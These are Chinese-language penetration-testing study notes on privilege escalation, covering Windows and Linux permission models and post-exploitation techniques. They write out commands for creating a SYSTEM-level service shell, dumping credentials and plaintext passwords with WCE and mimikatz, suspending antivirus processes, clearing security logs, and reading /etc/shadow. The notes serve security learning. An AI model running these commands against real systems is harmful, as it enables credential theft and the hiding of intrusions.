Kali Linux滲透測試——提權
筆記內容參考安全牛苑房弘老師的Kali Linux滲透測試教程
文章目錄
一、關於權限
對不同的用戶設置合適的權限是保證多任務操作系統安全的重要一環,取得shell並拿到系統權限,就相當於完全掌握了攻擊目標的控制權。設置用戶權限的一個基本原則即:設置最少的服務,分配最小的權限。不同操作系統設置的用戶/用戶組有所不同,常見的用戶/用戶組具體如下:
(一)WindowsNT
-
Administrators
管理員組,默認情況下,Administrators中的用戶基本上對計算機/域有不受限制的完全訪問權,分配給該組的默認權限允許對整個系統進行完全控制。 -
SYSTEM
擁有比Administrators還高的權限,但是這個組不允許任何用戶的加入,在察看用戶組的時候,它也不會被顯示出來。系統和系統級的服務運行都是SYSTEM權限。 -
Power User
高級用戶組,僅次於Administrators組的權限,可以執行除了爲Administrators組保留任務外的其他任何操作系統任務。 -
Users
普通用戶組,這個組的用戶默認權限不允許成員修改操作系統的設置或用戶資料,Users組提供了一個比較安全的程序運行環境,新建用戶默認在這個分組。 -
Guests
來賓組,默認與Users組有同等甚至更低的訪問權限。 -
Everyone
所有的用戶,計算機上的所有用戶都屬於這個組。
Windows系統安裝後默認用戶爲Administrators分組,選擇任何一個文件或磁盤右鍵選擇屬性->安全
,在組和用戶名中就可以配置文件的訪問權限。不同的Window版本用戶組配置不同,如Windows家庭版沒有Power User分組。
(二)Linux
在Linux系統用戶的角色是通過UID和GID識別的,UID是系統用戶的唯一有效標識。UID分爲三類:
-
root
其UID和GID均爲0,擁有最高的管理權限,對計算機有不受限制的完全訪問權。 -
普通用戶
UID(500~65535),一般是由具備root權限的運維人員添加,作爲一般用戶登錄使用。 -
服務用戶
UID(1~499),與真實用戶相區分,一些服務用戶安裝系統後即存在,基於安全考慮,服務用戶默認不能登錄系統,他們的存在主要是方便系統管理、提供服務,例如系統默認的bin、sys、nodoby、mail用戶等。
chmod
命令修改文件讀/寫/執行權限
eg:
chmod g+x,o-x example.txt
chmod 755 example.txt
# umask按照rwx的順序,權重爲421
# umask爲0022,第一個0爲特殊權限,022爲普通權限
# 即默認新建可執行文件權限755,新建不可執行文件權限644
chown
命令修改文件所有者/所有組
chown root:rgroup example.txt
二、提權思路
在滲透測試過程中往往一開始取得的是一個普通用戶的shell,這時要想進一步操作要從普通用戶權限提權至Administrator甚至System,這時需要利用系統漏洞、軟件漏洞或配置不當進行提權,這裏僅提供幾個基本思路:
-
基於Metasploit
基於Metasploit相應模塊進行漏洞利用(搜索模塊如:search ms14-068
)。 -
基於Exploit-DB
在Kali中searchsploit
或在 Exploit-DB官網 搜索Exp(如:ms14-068),在Exp基礎上進行漏洞利用(可能需要對Exp進行修改、編譯等)。
三、基於提權
一旦取得Administrator甚至System權限後,可操作的空間就大了很多,可以竊取用戶密碼、修改系統配置等。
注意:Windows系統登錄後SAM文件是被鎖死的,不能複製、移動,正常情況下打開是亂碼或空白,所以讀取SAM文件要通過登錄並提權後使用特殊工具,或者採取物理接觸等非登錄手段獲取;而Linux相對而言則簡單很多,取得root權限後直接讀取/etc/shadow
、/etc/passwd
就可以獲取用戶賬號及HASH。
(一)Windows
1.利用服務管理命令sc提權
- 目標:Administrator->System
- 思路:利用系統服務都是System權限的特點,新建服務
- 條件:已經取得管理員權限cmd
sc create syscmd binPath= "cmd /K start" type= interact type= own
# 創建syscmd服務,服務執行命令"cmd /K start",交互式運行
sc start syscmd
# 開啓服務
注:在開始菜單或者在 C:\windows\system32\
通過管理員權限運行cmd,只是臨時取得管理員權限,進程的的所有者仍然是普通賬戶,可以在cmd中用whoami
命令查看,也可以通過任務管理器查看進程所屬用戶。
2.Windows登錄認證過程
WINLOGON進程提供認證,計算HASH值,交由LSASS進程,LSASS進程會調用系統內核相應的安全模塊,將HASH與SAM庫進行比對,比對成功則登入操作系統。
圖1 Windows登錄認證過程
注:WDigest 是在 Windows XP 操作系統中引入的摘要認證機制,可以用來對HTTP、SASL等協議進行身份驗證,但這種機制將明文密碼保存在內存中,很不安全。
3.wce
- 目標:獲取用戶登錄憑證
- 條件:已經取得管理員權限cmd
WCE(Windows Credentical Editor)(僅支持Windows XP, 2003, Vista, 7, 2008 and 8),從內存中讀取認證信息,WCE會先以安全模式運行,如果發生錯誤則會以注入進程等非安全形式運行,非安全形式容易對操作系統造成破壞。
在Kali中有wce工具:/usr/share/windows-resources/wce
將wce拷貝至Windows中,在wce文件夾下以管理員權限運行cmd:
# wce-universal會根據系統自動選擇32或64位程序運行
wce-universal.exe -l / -lv
# -l:列出已經登錄的用戶憑證(NTLM HASH值)
# -v:詳細輸出,列出hash id、讀取模式等
wce-universal.exe -d
# -d:刪除已登錄用戶的憑證
wce-universal.exe -w
# -w:列出WDigest認證模塊保存在內存中的明文密碼
將WDigest關閉: 在註冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
中的Security Packages
項,刪除wdigest
、tspk
4.mimikatz
- 目標:獲取用戶登錄憑證
- 條件:已經取得管理員權限cmd
在Kali中有mimikatz工具:/usr/share/windows-resources/mimikatz
將wce拷貝至Windows中,在wce文件夾下以管理員權限運行cmd:
在mimikatz交互界面,輸入::
可以看到mimikatz有privilege、sekurlsa、ts、process、event 等20多種模塊,每個模塊下又分爲多個子模塊,具體使用如:
mimikatz # 進入mimikatz交互界面
:: # 命令提示
privilege::debug # 提權到debug模式
sekurlsa::logonPasswords # 列出所有登錄用戶的憑證
sekurlsa::wdigest # 列出wdigest模塊在內存中保存的明文密碼
process::list # 列出當前進程
process:: suspend # 掛起進程,如殺毒軟件
process:: stop # 關閉進程
ts::multirdp # 允許多個用戶同時進行遠程桌面控制
event::clear # 清除操作系統中的安全日誌
event::drop # 不再產生新的日誌
(二)Linux
取得root權限後查看用戶賬號信息、修改系統配置等:
cat /etc/passwd
cat /etc/shadow
vi /etc/resolv.conf